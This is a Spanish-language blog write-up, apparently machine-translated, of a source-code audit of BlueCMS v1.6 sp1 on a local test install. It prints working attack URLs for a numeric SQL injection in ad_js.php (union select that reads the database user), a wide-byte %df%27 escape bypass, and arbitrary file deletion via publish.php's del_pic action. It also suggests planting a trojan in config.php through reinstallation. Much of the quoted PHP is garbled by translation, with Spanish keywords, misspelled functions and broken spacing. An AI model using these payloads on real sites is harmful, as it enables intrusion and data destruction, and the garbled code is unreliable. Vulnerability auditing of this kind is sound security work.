Auditoría de código BlueCMS

El número de versión de BlueCMS es: bluecms_v1.6_sp1

Después de configurar el entorno localmente, el código fuente se arroja al sistema de auditoría de código fuente seay, y se abre el acceso a la página del servicio web local, caja blanca + auditoría de caja negra

 

 Después de configurar el entorno, el primer paso es verificar si hay una vulnerabilidad de reinstalación. Visite la ubicación de instalación del sitio web. Mi URL es:

http://127.0.0.1/bluecms_v1.6_sp1/bluecms/install/

  

 

 Se puede ver que existe una vulnerabilidad de reinstalación, y el código fuente no detecta si el sitio web se ha creado, por lo que podemos obtener la contraseña de administrador reinstalando y luego escribirla en el shell en segundo plano.

Al mismo tiempo, también podemos intentar escribir un troyano de oración en el archivo config.php al completar la configuración, para obtener el shell

 

En este momento, la herramienta de auditoría seay también está auditada.

 

 Podemos analizar a su vez para descubrir las vulnerabilidades.

Ingrese los detalles de vulnerabilidad con ID = 1

Los puntos de vulnerabilidad sospechosos son:

$ ad = $ db-> getone ("SELECT * FROM" .table ('ad'). "WHERE ad_id =". $ ad_id);

  Se puede ver que $ ad_id no está entre comillas y existe una vulnerabilidad numérica de inyección SQL. A continuación, debemos encontrar el punto de entrada del parámetro $ ad_id y construir el punto de utilización

Aquí solo se filtran los espacios ingresados ​​en la entrada $ ad_id

$ ad_id =! empty ($ _ GET ['ad_id'])? trim ($ _ GET ['ad_id']): '';

  El código de ubicación de salida es:

echo "<! - \ r \ ndocument.write (\" ". $ ad_content." \ "); \ r \ n -> \ r \ n";

  Y al comienzo del archivo ad_js.php, se introdujo un archivo de filtro

require_once dirname (__ FILE__). '/include/common.inc.php';

  Verificamos el archivo common.inc.php, hay

if (! get_magic_quotes_gpc ()) 
{ 
	$ _POST = deep_addslashes ($ _ POST); 
	$ _GET = deep_addslashes ($ _ GET); 
	$ _COOKIES = deep_addslashes ($ _ COOKIES); 
	$ _REQUEST = deep_addslashes ($ _ REQUEST); 
}

  Si la antiinyección GPC no está habilitada, los parámetros POST, GET, COOKIE, REQUEST se filtran, pero las barras profundas

función deep_addslashes ($ str) 
{ 
	if (is_array ($ str)) 
	{ 
		foreach ($ str como $ key => $ val) 
		{ 
			$ str [$ key] = deep_addslashes ($ val); 
		} 
	} 
	else 
	{ 
		$ str = addlashes ($ str); 
	} 
	return $ str; 
}

  Es solo una modificación basada en la función de filtro addlashes, y la función addlashes no puede evitar la inyección digital. Regrese al punto de inyección de la vulnerabilidad en este momento:

$ ad = $ db-> getone ("SELECT * FROM" .table ('ad'). "WHERE ad_id =". $ ad_id);

  Se puede ver que se trata de una inyección digital, por lo que podemos inyectar directamente.

Añadir comillas simples:

http://127.0.0.1/bluecms_v1.6_sp1/bluecms/ad_js.php?ad_id=1%27

  

 

 

 Del código fuente hemos visto que se trata de una inyección numérica, no podemos ingresar comillas simples, pero si no es una inyección numérica, intentamos usar bytes anchos para evitar GPC

  Con éxito hizo% df% 27 un carácter chino

 

 La inyección de byte ancho que omite GPC es en realidad un problema causado por la conversión de codificación durante la interacción entre PHP y MySQL. De lo anterior, podemos ver que se elimina el carácter de escape, que se puede usar para la inyección de caracteres.

Por supuesto, aquí seguimos usando el tipo numérico, use ordenar por para determinar el número de campos

http://127.0.0.1/bluecms_v1.6_sp1/bluecms/ad_js.php?ad_id=1%20order%20by%207

  No se muestra nada en la página, porque la salida de ad_js.php es

echo "<! - \ r \ ndocument.write (\" ". $ ad_content." \ "); \ r \ n -> \ r \ n";

  El resultado se comenta en el código fuente, no se mostrará en la interfaz y es muy sencillo verlo.

El número de campos es 7, verifique la posición del eco

http://127.0.0.1/bluecms_v1.6_sp1/bluecms/ad_js.php?ad_id=1%20and%201=2%20union%20select%201,2,3,4,5,6,7

  

 

 La posición del eco es 7, simplemente verifique el usuario usuario

 

 Lea con éxito al usuario actual y explote con éxito la vulnerabilidad de inyección SQL.

 

La segunda vulnerabilidad radica en:

$ db-> query ("ACTUALIZACIÓN" .table ('ann'). "SET click = click + 1 WHERE ann_id =". $ ann_id);

  También se puede ver que puede haber inyección digital

$ ann_id =! empty ($ _ REQUEST ['ann_id'])? intval ($ _ REQUEST ['ann_id']): '';

  Pero aquí, la entrada ann_id se convierte en números, por lo que no se puede usar más.

Además, varios puntos de inyección de SQL sospechosos se convierten en números usando intval y no se pueden usar.

 

Sospecha de vulnerabilidad de eliminación arbitraria de archivos:

 

elseif ($ act == 'del_pic') 
{ 
 	$ id = $ _REQUEST ['id']; 
 	$ db-> query ("DELETE FROM" .table ('post_pic'). "WHERE pic_path = '$ id'"); 
 	if (file_exists (BLUE_ROOT. $ id)) 
 	{ 
 		@unlink (BLUE_ROOT. $ id); 
 	} 
}

  Se puede ver que la acción de selección es eliminar, el parámetro id se pasa y el último @unlink es eliminar directamente en el directorio actual cuando existe el archivo $ id. Debería haber sido eliminar el archivo con la identificación especificada.

Creamos test.txt en el mismo directorio

La carga útil es:

http://127.0.0.1/bluecms_v1.6_sp1/bluecms/publish.php?act=del_pic&id=test.txt

  

 

 Visita URL construida

 

 El archivo se ha eliminado. Puedes eliminar cualquier archivo del servidor

 

Más mañana

Supongo que te gusta

Origin www.cnblogs.com/Cl0ud/p/12739864.html
Recomendado
Clasificación